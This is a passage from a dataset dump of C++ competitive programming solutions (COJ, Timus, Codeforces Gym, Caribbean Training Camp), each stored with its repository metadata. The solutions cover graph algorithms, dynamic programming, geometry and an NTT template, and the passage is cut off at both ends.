= 0; i < 6; i++ )\r\n\t\t{\r\n\t\t\tscanf( \"%d\", &x );\r\n\t\t\tprintf( \"%d\", corr[i] - x );\r\n\t\t\tif( i < 5 )printf( \" \" );\r\n\t\t\telse printf( \"\\n\" );\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4444444477558136, "alphanum_fraction": 0.4559386968612671, "avg_line_length": 16.20930290222168, "blob_id": "4db60dc06ba2946ab33be9f621998f579b413ba6", "content_id": "902dc80a0a0cc1f473f347ee8798d56aa2d303f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 783, "license_type": "no_license", "max_line_length": 63, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2419-Accepted-s609364.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <queue>\r\nusing namespace std;\r\n\r\nstruct cmp {\r\n bool operator () (const string &a, const string &b) const {\r\n for (int i = 0; a[i] && b[i]; i++)\r\n if (a[i] != b[i]) return a[i] > b[i];\r\n return a.size() < b.size();\r\n }\r\n};\r\n\r\npriority_queue<string, vector<string>, cmp> Q;\r\n\r\n\r\n\r\nint tc, n;\r\nstring aux, sol, aux1;\r\n\r\nint main() {\r\n\tcin.sync_with_stdio(false);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tsol = \"\";\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> aux;\r\n\t\t\tQ.push(aux);\r\n\t\t}\r\n\t\twhile (!Q.empty()) {\r\n\t\t\taux = Q.top();\r\n\t\t\tQ.pop();\r\n\t\t\tsol += aux[0];\r\n\t\t\tif (aux.size() > 1) {\r\n\t\t\t\taux1.clear();\r\n\t\t\t\tfor (int i = 1; aux[i]; i++) aux1 += aux[i];\r\n\t\t\t\tQ.push(aux1);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << sol << endl;\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.47549715638160706, "alphanum_fraction": 0.49325284361839294, "avg_line_length": 20.173229217529297, "blob_id": "07e08eea1d2645c0b05f20f805dff63f22dad365", "content_id": "fa96469f7c27dd6b5eaee224cf69e2f90b8aa741", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2816, "license_type": "no_license", "max_line_length": 81, "num_lines": 127, "path": "/COJ/eliogovea-cojAC/eliogovea-p3470-Accepted-s1123032.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 200 * 1000 + 10;\r\nconst int K = 1000 * 1000 + 10;\r\n\r\nint n, k;\r\nvector <pair <int, int> > tree[N];\r\nbool used[N];\r\nint subTreeSize[N];\r\n\r\nint getSubTreeSize(int u, int p) {\r\n\tint size = 1;\r\n\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\tint v = tree[u][i].first;\r\n\t\tif (v != p && !used[v]) {\r\n\t\t\tsize += getSubTreeSize(v, u);\r\n\t\t}\r\n\t}\r\n\tsubTreeSize[u] = size;\r\n\treturn size;\r\n}\r\n\r\nint getCentroid(int u, int p, int size) {\r\n\tint maxSubTreeSize = size - subTreeSize[u];\r\n\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\tint v = tree[u][i].first;\r\n\t\tif (v != p && !used[v]) {\r\n\t\t\tmaxSubTreeSize = max(maxSubTreeSize, subTreeSize[v]);\r\n\t\t}\r\n\t}\r\n\tif (maxSubTreeSize <= size / 2) {\r\n\t\treturn u;\r\n\t}\r\n\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\tint v = tree[u][i].first;\r\n\t\tif (v != p && !used[v]) {\r\n\t\t\tint x = getCentroid(v, u, size);\r\n\t\t\tif (x != -1) {\r\n\t\t\t\treturn x;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn -1;\r\n}\r\n\r\nint dist_used[K]; // id del nodo(root) para no tener que limpiar la dp (min_cnt)\r\nint min_cnt[K]; // dp\r\n\r\nvoid solve(int root, int u, int p, int cnt, int dist, bool update, int &answer) {\r\n\tif (dist > k) {\r\n\t\treturn;\r\n\t}\r\n\tif (!update) {\r\n\t\tif (dist_used[k - dist] == root) {\r\n\t\t\tint value = cnt + min_cnt[k - dist];\r\n\t\t\tif (answer == -1 || value < answer) {\r\n\t\t\t\tanswer = value;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\t\tint v = tree[u][i].first;\r\n\t\t\tint d = tree[u][i].second;\r\n\t\t\tif (v != p && !used[v]) {\r\n\t\t\t\tsolve(root, v, u, cnt + 1, dist + d, false, answer);\r\n\t\t\t\tif (u == root) {\r\n\t\t\t\t\tsolve(root, v, u, cnt + 1, dist + d, true, answer);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t} else {\r\n\t\tif (dist_used[dist] != root || cnt < min_cnt[dist]) {\r\n\t\t\tdist_used[dist] = root;\r\n\t\t\tmin_cnt[dist] = cnt;\r\n\t\t}\r\n\t\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\t\tint v = tree[u][i].first;\r\n\t\t\tint d = tree[u][i].second;\r\n\t\t\tif (v != p && !used[v]) {\r\n\t\t\t\tsolve(root, v, u, cnt + 1, dist + d, true, answer);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint centroidDecomposition(int u) {\r\n\tint sz = getSubTreeSize(u, -1);\r\n\tu = getCentroid(u, -1, sz);\r\n\tused[u] = true;\r\n\tdist_used[0] = u;\r\n\tmin_cnt[0] = 0;\r\n\tint res = -1;\r\n\tsolve(u, u, -1, 0, 0, false, res);\r\n\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\tint v = tree[u][i].first;\r\n\t\tif (!used[v]) {\r\n\t\t\tint val = centroidDecomposition(v);\r\n\t\t\tif (val != -1) {\r\n\t\t\t\tif (res == -1 || val < res) {\r\n\t\t\t\t\tres = val;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> k;\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tint a, b, l;\r\n\t\tcin >> a >> b >> l;\r\n\t\ttree[a].push_back(make_pair(b, l));\r\n\t\ttree[b].push_back(make_pair(a, l));\r\n\t}\r\n\r\n\tfor (int d = 0; d <= k; d++) {\r\n\t\tdist_used[d] = -1;\r\n\t}\r\n\tint answer = centroidDecomposition(0);\r\n\r\n\tcout << answer << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4152410626411438, "alphanum_fraction": 0.435458779335022, "avg_line_length": 14.48717975616455, "blob_id": "5f0cb47b8707408d8fb1a871834788f2bc070147", "content_id": "5a5d938a96ee3c335c7e7271a8207b35bfa4c8d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 643, "license_type": "no_license", "max_line_length": 44, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p1710-Accepted-s554725.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#define MAXN 100010\r\nusing namespace std;\r\n\r\nint cas,x,sol;\r\nbool sieve[MAXN];\r\nvector<int> P;\r\nvector<int>::iterator it;\r\n\r\nint main()\r\n{\r\n\tfor( int i = 2; i * i < MAXN; i++ )\r\n\t\tif( !sieve[i] )\r\n\t\t\tfor( int j = i * i; j < MAXN; j += i )\r\n\t\t\t\tsieve[j] = 1;\r\n\tfor( int i = 2; i < MAXN; i++ )\r\n\t\tif( !sieve[i] )\r\n\t\t\tP.push_back( i );\r\n\r\n\tfor( scanf( \"%d\", &cas ); cas--; )\r\n\t{\r\n\t\tscanf( \"%d\", &x );\r\n\r\n\t\tsol = 0;\r\n\r\n\t\tfor( it = P.begin(); it != P.end(); it++ )\r\n\t\t\tif( x % *it == 0 )\r\n\t\t\t{\r\n\t\t\t\tsol++;\r\n\t\t\t\twhile( x % *it == 0 )\r\n\t\t\t\t\tx/=*it;\r\n\t\t\t}\r\n\r\n\t\tif( x > 1 )sol++;\r\n\r\n\t\tprintf( \"%d\\n\", sol );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3337484300136566, "alphanum_fraction": 0.37484434247016907, "avg_line_length": 15.911110877990723, "blob_id": "3bc75f473b79e14ea26048944a28c5c241ac7ce8", "content_id": "7b6f4e00789331fd0695dbae731413c44905eaa8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 803, "license_type": "no_license", "max_line_length": 70, "num_lines": 45, "path": "/Timus/1528-7192210.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1528\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\nconst int N = 10005;\r\n\r\nLL n, p;\r\nLL f[N], g[N], sg[N], fg[N], sfg[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (true) {\r\n\t\tcin >> n >> p;\r\n\t\tif (n == 0 && p == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tf[1] = 1;\r\n\t\tg[1] = 1;\r\n\t\tsg[1] = 1;\r\n\t\tfg[1] = 1;\r\n\t\tsfg[1] = 1;\r\n\t\tfor (int i = 2; i <= n ; i++) {\r\n\t\t\tf[i] = 1 + sfg[i - 1];\r\n\t\t\tif (f[i] >= p) {\r\n\t\t\t\tf[i] -= p;\r\n\t\t\t}\r\n\t\t\tg[i] = (1 + 2LL * sg[i - 1] + (p - (g[i - 1] * g[i - 1] % p))) % p;\r\n\t\t\tfg[i] = f[i] * g[i] % p;\r\n\t\t\tsg[i] = sg[i - 1] + g[i];\r\n\t\t\tif (sg[i] >= p) {\r\n\t\t\t\tsg[i] -= p;\r\n\t\t\t}\r\n\t\t\tsfg[i] = sfg[i - 1] + fg[i];\r\n\t\t\tif (sfg[i] >= p) {\r\n\t\t\t\tsfg[i] -= p;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << f[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3661290407180786, "alphanum_fraction": 0.39516130089759827, "avg_line_length": 19.379310607910156, "blob_id": "3d0371c703ecd702f0916ecfb800414a284cea14", "content_id": "0e295fb77fb9e87bc1e8c5bceb373a00d3574be0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 620, "license_type": "no_license", "max_line_length": 54, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2726-Accepted-s580331.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000;\r\n\r\nint n, m, dp[MAXN + 10][MAXN + 10];\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\", &n, &m);\r\n\tif (n > m) swap(n, m);\r\n\tfor (int i = 1; i <= m; i++)\r\n\t{\r\n\t\tdp[1][i] = dp[i][1] = i;\r\n\t\tdp[i][i] = 1;\r\n\t}\r\n\tfor (int i = 2; i <= n; i++)\r\n\t\tfor (int j = i + 1; j <= m; j++)\r\n\t\t{\r\n\t\t\tdp[i][j] = i * j;\r\n\t\t\tfor (int k = 1; k <= i / 2; k++)\r\n\t\t\t\tdp[i][j] = min(dp[i][j], dp[k][j] + dp[i - k][j]);\r\n\t\t\tfor (int k = 1; k <= j / 2; k++)\r\n\t\t\t\tdp[i][j] = min(dp[i][j], dp[i][k] + dp[i][j - k]);\r\n\t\t\tdp[j][i] = dp[i][j];\r\n\t\t}\r\n\tprintf(\"%d\\n\", dp[n][m]);\r\n}\r\n" }, { "alpha_fraction": 0.4321439564228058, "alphanum_fraction": 0.4556267261505127, "avg_line_length": 19.493749618530273, "blob_id": "931f6cb1c6f3090e902b2437ed2a7afe760b688f", "content_id": "df2bc9d29b6db3b024de83b0317112255592291a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3279, "license_type": "no_license", "max_line_length": 70, "num_lines": 160, "path": "/Caribbean-Training-Camp-2017/Contest_3/Solutions/C3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\ninline int sign(LL x) {\n if (x < 0) {\n return -1;\n }\n if (x > 0) {\n return 1;\n }\n return 0;\n}\n\nstruct pt {\n LL x, y;\n pt() {}\n pt(LL _x, LL _y) : x(_x), y(_y) {}\n void read() {\n cin >> x >> y;\n }\n};\n\npt operator - (const pt &a, const pt &b) {\n return pt(a.x - b.x, a.y - b.y);\n}\n\ninline LL dot(const pt &a, const pt &b) {\n return a.x * b.x + a.y * b.y;\n}\n\ninline LL dist2(const pt &a, const pt &b) {\n return dot(a - b, a - b);\n}\n\ninline LL cross(const pt &a, const pt &b) {\n return a.x * b.y - a.y * b.x;\n}\n\n/*\ninline int halfPlane(pt &a) {\n if (a.y != 0) {\n return sign(a.y);\n }\n return sign(a.x);\n}\n\ninline bool operator < (const pt &a, const pt &b) {\n if (halfPlane(a) != halfPlane(b)) {\n return halfPlane(a) < halfPlane(b);\n }\n int c = sign(cross(a, b));\n if (c != 0) {\n return c > 0;\n }\n return dot(a, a) < dot(b, b);\n}\n\ninline bool isIn(int x, int a, int b) {\n if (a > b) {\n swap(a, b);\n }\n return (a <= x && x <= b);\n}\n\ninline bool contains(pt p, pt a, pt b) {\n if (abs(cross(a - p, b - p))) {\n return false;\n }\n return isIn(p.x, a.x, b.x) && isIn(p.y, a.y, b.y);\n}\n\npt get(pt a) {\n if (a.y < 0) {\n a.x =\n }\n}\n\nint n;\npt a[1005], b[1005];\n\nint solve(pt center, int id) {\n vector <pair <pt, int> > v;\n int cnt = 1;\n for (int i = 0; i < n; i++) {\n if (i == id) {\n continue;\n }\n if (contains(center, a[i], b[i])) {\n cnt++;\n } else {\n pt v1 = get(a[i] - center);\n pt v2 = get(b[i] - center);\n if (v1 < v2) {\n v.push_back(make_pair(v1, -1));\n v.push_back(make_pair(v2, 1));\n } else {\n v.push_back(make_pair(v2, -1));\n v.push_back(make_pair(v1, 1));\n }\n }\n }\n sort(v.begin(), v.end());\n int mx = cnt;\n for (int i = 0; )\n}\n*/\nint main()\n{\n ios::sync_with_stdio(false);\n cin.tie(0);\n cout.precision(14);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n pt a, b, c;\n LL r;\n a.read();\n b.read();\n c.read();\n cin >> r;\n\n LL cp = cross(b - a, c - a);\n LL d2 = dist2(a, b);\n if (cp * cp >= 4LL * r * r * d2) {\n double ans = sqrt((double)d2);\n cout << fixed << ans << \"\\n\";\n return 0;\n }\n\n if (dist2(a, c) < dist2(b, c)) {\n swap(a, b);\n }\n if (abs(dot(c - a, b - a)) >= dist2(a, b)) {\n double ans = sqrt((double)d2);\n cout << fixed << ans << \"\\n\";\n return 0;\n }\n\n double distToLine = abs((double)cp) / (sqrt((double)dist2(a, b)));\n\n double dist1 = sqrt((double)dist2(a, c));\n double angle1 = asin(distToLine / dist1);\n\n double dist21 = sqrt((double)dist2(b, c));\n double angle2 = asin(distToLine / dist21);\n\n double v1 = sqrt((double)dist2(a, c) - (double)r * r);\n double angle11 = acos((double)r / dist1);\n\n double v2 = sqrt((double)dist2(b, c) - (double)r * r);\n double angle22 = acos((double)r / dist21);\n\n double angle = M_PI - angle1 - angle11 - angle2 - angle22;\n double ans = v1 + v2 + r * angle;\n\n cout << fixed << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3994743824005127, "alphanum_fraction": 0.47437581419944763, "avg_line_length": 24.366666793823242, "blob_id": "0e086482d41da5a7eff8f5bad9bfff511bffdfad", "content_id": "c5b76813fac46e9c9c50613067318a18bd6a5bad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 761, "license_type": "no_license", "max_line_length": 56, "num_lines": 30, "path": "/Codeforces-Gym/100792 - 2015-2016 ACM-ICPC, NEERC, Moscow Subregional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100792D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nlong long b;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n double h1, h2, t1, t2;\n cin >> h1 >> t1 >> h2 >> t2;\n double a = h1 - h2;\n double b = 2.0 * (h2 * t1 - h1 * t2);\n double c = h1 * t2 * t2 - h2 * t1 * t1;\n double d = b * b - 4.0 * a * c;\n double ans1 = (-b - sqrt(d)) / (2.0 * a);\n double ans2 = (-b + sqrt(d)) / (2.0 * a);\n cout.precision(10);\n if (ans1 > 0 && ans2 > 0) {\n cout << fixed << min(ans1, ans2) << \"\\n\";\n } else if (ans1 > 0) {\n cout << fixed << ans1 << \"\\n\";\n } else {\n cout << fixed << ans2 << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.34021738171577454, "alphanum_fraction": 0.38260868191719055, "avg_line_length": 13.838709831237793, "blob_id": "d97fe60f74bf0f2ee564d91dc358a3233849acba", "content_id": "bf007478aaf972d502bef819aebdba6e162f8ffc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 920, "license_type": "no_license", "max_line_length": 64, "num_lines": 62, "path": "/Codeforces-Gym/101173 - 2016-2017 ACM-ICPC, Central Europe Regional Contest (CERC 16)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Central Europe Regional Contest (CERC 16)\n// 101173F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nint p[MAXN], h[MAXN];\nint p2[MAXN], h2[MAXN];\n\nint sol;\nvoid free( int u ){\n if( p[u] ){\n free( p[u] );\n sol++;\n }\n\n h[ p[u] ] = 0;\n p[u] = 0;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tint n; cin >> n;\n\n\tfor( int i = 1; i <= n; i++ ){\n cin >> p[i];\n h[ p[i] ] = i;\n\t}\n\n\n\tfor( int i = 1; i <= n; i++ ){\n cin >> p2[i];\n h2[ p2[i] ] = i;\n\t}\n\n\tsol = 0;\n\n\tfor( int i = 1; i <= n; i++ ){\n if( p[i] && p[i] != p2[i] ){\n free(i);\n }\n\t}\n\n for( int i = 1; i <= n; i++ ){\n if( p[i] != p2[i] ){\n free(p2[i]);\n\n p[i] = p2[i];\n h[ p[i] ] = i;\n sol++;\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.37700533866882324, "alphanum_fraction": 0.4010695219039917, "avg_line_length": 13.583333015441895, "blob_id": "edffc85a6d1ec3eb3563f8f96d861bc522c2f166", "content_id": "2f100c48e052a7418d8d2c8f5abf16b95ea41c2c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 374, "license_type": "no_license", "max_line_length": 34, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2747-Accepted-s587798.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <map>\r\nusing namespace std;\r\n\r\nint n, a[5010], sol;\r\nmap<int, int> m;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++)\r\n\t{\r\n\t\tscanf(\"%d\", &a[i]);\r\n\t\tfor (int j = i - 1; j >= 0; j--)\r\n\t\t\tif (m[a[i] - a[j]])\r\n\t\t\t{\r\n\t\t\t\tsol++;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tfor (int j = i; j >= 0; j--)\r\n\t\t\tm[a[i] + a[j]] = 1;\r\n\t}\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.31996792554855347, "alphanum_fraction": 0.3504410684108734, "avg_line_length": 15.563380241394043, "blob_id": "0006f4ac02b2aba3db470a06aab840b0d160305e", "content_id": "c3d570a2dd4a0800759b959b28ed7da74669f4d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1247, "license_type": "no_license", "max_line_length": 54, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p3389-Accepted-s921967.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nint n;\r\nstring a, b;\r\n\r\nint lasta[2 * N], lastb[2 * N];\r\n\r\nint pos['z' + 5];\r\n\r\nint dp[2 * N][2 * N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tcin >> n >> a >> b;\r\n\r\n\ta += a;\r\n\tb += b;\r\n\r\n\tfor (int i = 'a'; i <= 'z'; i++) {\r\n\t\tpos[i] = 0;\r\n\t}\r\n\tfor (int i = 1; i <= 2 * n; i++) {\r\n\t\tlasta[i] = pos[a[i - 1]];\r\n\t\tpos[a[i - 1]] = i;\r\n\t}\r\n\tfor (int i = 'a'; i <= 'z'; i++) {\r\n\t\tpos[i] = 0;\r\n\t}\r\n\tfor (int i = 1; i <= 2 * n; i++) {\r\n\t\tlastb[i] = pos[b[i - 1]];\r\n\t\tpos[b[i - 1]] = i;\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 1; i <= 2 * n; i++) {\r\n\t\tfor (int j = 1; j <= 2 * n; j++) {\r\n\t\t\tint x = lasta[i];\r\n\t\t\tint y = lastb[j];\r\n\t\t\tint z = dp[i - 1][j - 1] + 1;\r\n\t\t\tint z1 = z;\r\n\t\t\tif (x > i - z) {\r\n\t\t\t\tint dist = i - x;\r\n\t\t\t\tif (b[j - dist - 1] != b[j - 1]) {\r\n\t\t\t\t\tz1 = i - x;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tint z2 = z;\r\n\t\t\tif (y > j - z) {\r\n\t\t\t\tint dist = j - y;\r\n if (a[i - dist - 1] != a[i - 1]) {\r\n\t\t\t\t\tz2 = j - y;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tdp[i][j] = min(z1, z2);\r\n\t\t\t//cout << i << \" \" << j << \" \" << dp[i][j] << \"\\n\";\r\n\t\t\tans = max(ans, dp[i][j]);\r\n\t\t}\r\n\t}\r\n\tif (ans > n) {\r\n\t\tans = n;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.38074713945388794, "alphanum_fraction": 0.42385056614875793, "avg_line_length": 14.690476417541504, "blob_id": "0536059859ca0f86a0e33cda30f65e9dac776b6a", "content_id": "9ccc689224a38fb33f76f9e35600cfce37142753", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 696, "license_type": "no_license", "max_line_length": 41, "num_lines": 42, "path": "/Timus/1081-6224066.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1081\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nlong long k;\r\nlong long dp[50][5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> k;\r\n\tdp[1][0] = 1;\r\n\tdp[1][1] = 1;\r\n\tfor (int i = 2; i <= n; i++) {\r\n\t\tdp[i][0] = dp[i - 1][0] + dp[i - 1][1];\r\n\t\tdp[i][1] = dp[i - 1][0];\r\n\t}\r\n\tstring ans;\r\n\tbool ok = true;\r\n\tfor (int i = n; i >= 1; i--) {\r\n\t\tif (dp[i][0] >= k) {\r\n\t\t\tans += '0';\r\n\t\t} else {\r\n\t\t\tk -= dp[i][0];\r\n\t\t\tif (dp[i][1] < k) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tans += '1';\r\n\t\t}\r\n\t}\r\n\tif (!ok) {\r\n\t\tcout << \"-1\\n\";\r\n\t} else {\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.46521738171577454, "alphanum_fraction": 0.48260870575904846, "avg_line_length": 13.466666221618652, "blob_id": "77a05fa5f6f92db54792890c226f5a39763b1ac6", "content_id": "b60b1347aea63d46e6d20b4c0a6bdd6f987e7402", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 230, "license_type": "no_license", "max_line_length": 46, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p3545-Accepted-s1009627.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tlong long n;\r\n\t\tcin >> n;\r\n\t\tcout << 1LL + (n * (n + 1LL) / 2LL) << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.3937051296234131, "alphanum_fraction": 0.41524019837379456, "avg_line_length": 14.816594123840332, "blob_id": "1a0b45f8901c7e6df438ed5b9d57eb11bad20017", "content_id": "5b17654fb4d357e2f54ea5666efe771a392096bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3622, "license_type": "no_license", "max_line_length": 67, "num_lines": 229, "path": "/Caribbean-Training-Camp-2018/Contest_4/Solutions/A4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntemplate <const int M>\nstruct FFT {\n\tvector <int> root;\n\tvector <int> invRoot;\n\n\tinline void add(int & a, int b) {\n\t\ta += b;\n\t\tif (a >= M) {\n\t\t\ta -= M;\n\t\t}\n\t}\n\n\tinline int mul(int a, int b) {\n\t\treturn (long long)a * b % M;\n\t}\n\n\tinline int power(int x, int n) {\n\t\tint y = 1;\n\t\twhile (n) {\n\t\t\tif (n & 1) {\n\t\t\t\ty = mul(y, x);\n\t\t\t}\n\t\t\tx = mul(x, x);\n\t\t\tn >>= 1;\n\t\t}\n\t\treturn y;\n\t}\n\n\tvoid calcRoots() {\n\t\tint a = 2;\n\t\twhile (power(a, (M - 1) / 2) != M - 1) {\n\t\t\ta++;\n\t\t}\n\t\tfor (int l = 1; (M - 1) % l == 0; l <<= 1) {\n\t\t\troot.push_back(power(a, (M - 1) / l));\n\t\t\tinvRoot.push_back(power(root.back(), M - 2));\n\t\t}\n\t}\n\n\tFFT() {\n\t\tcalcRoots();\n\t}\n\n\tvoid transform(vector <int> & P, bool invert) {\n\t\tint n = P.size();\n\t\tassert((M - 1) % n == 0);\n\n\t\tint ln = 0;\n\t\twhile ((1 << ln) < n) {\n\t\t\tln++;\n\t\t}\n\t\tassert((1 << ln) == n);\n\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tint x = i;\n\t\t\tint y = 0;\n\t\t\tfor (int j = 0; j < ln; j++) {\n\t\t\t\ty = (y << 1) | (x & 1);\n\t\t\t\tx >>= 1;\n\t\t\t}\n\t\t\tif (y < i) {\n\t\t\t\tswap(P[y], P[i]);\n\t\t\t}\n\t\t}\n\n\t\tfor (int e = 1; (1 << e) <= n; e++) {\n\t\t\tint len = (1 << e);\n\t\t\tint half = len >> 1;\n\t\t\tint step = root[e];\n\t\t\tif (invert) {\n\t\t\t\tstep = invRoot[e];\n\t\t\t}\n\t\t\tfor (int i = 0; i < n; i += len) {\n\t\t\t\tint w = 1;\n\t\t\t\tfor (int j = 0; j < half; j++) {\n\t\t\t\t\tint u = P[i + j];\n\t\t\t\t\tint v = mul(P[i + j + half], w);\n\t\t\t\t\tP[i + j] = u;\n\t\t\t\t\tadd(P[i + j], v);\n\t\t\t\t\tP[i + j + half] = u;\n\t\t\t\t\tadd(P[i + j + half], M - v);\n\t\t\t\t\tw = mul(w, step);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (invert) {\n\t\t\tint in = power(n, M - 2);\n\t\t\tfor (int i = 0; i < n; i++) {\n\t\t\t\tP[i] = mul(P[i], in);\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid square(vector <int> & P) {\n\t\ttransform(P, false);\n\t\tfor (int i = 0; i < P.size(); i++) {\n\t\t\tP[i] = mul(P[i], P[i]);\n\t\t}\n\t\ttransform(P, true);\n\t}\n\n\tvector <int> mul(vector <int> P, vector <int> Q) {\n\t\tint n = 1;\n\t\twhile (n < P.size() + Q.size() - 1) {\n\t\t\tn <<= 1;\n\t\t}\n\t\tP.resize(n);\n\t\tQ.resize(n);\n\t\ttransform(P, false);\n\t\ttransform(Q, false);\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tP[i] = mul(P[i], Q[i]);\n\t\t}\n\t\ttransform(P, true);\n\t\treturn P;\n\t}\n\n\tvector <int> add(const vector <int> & P, const vector <int> & Q) {\n\t\tvector 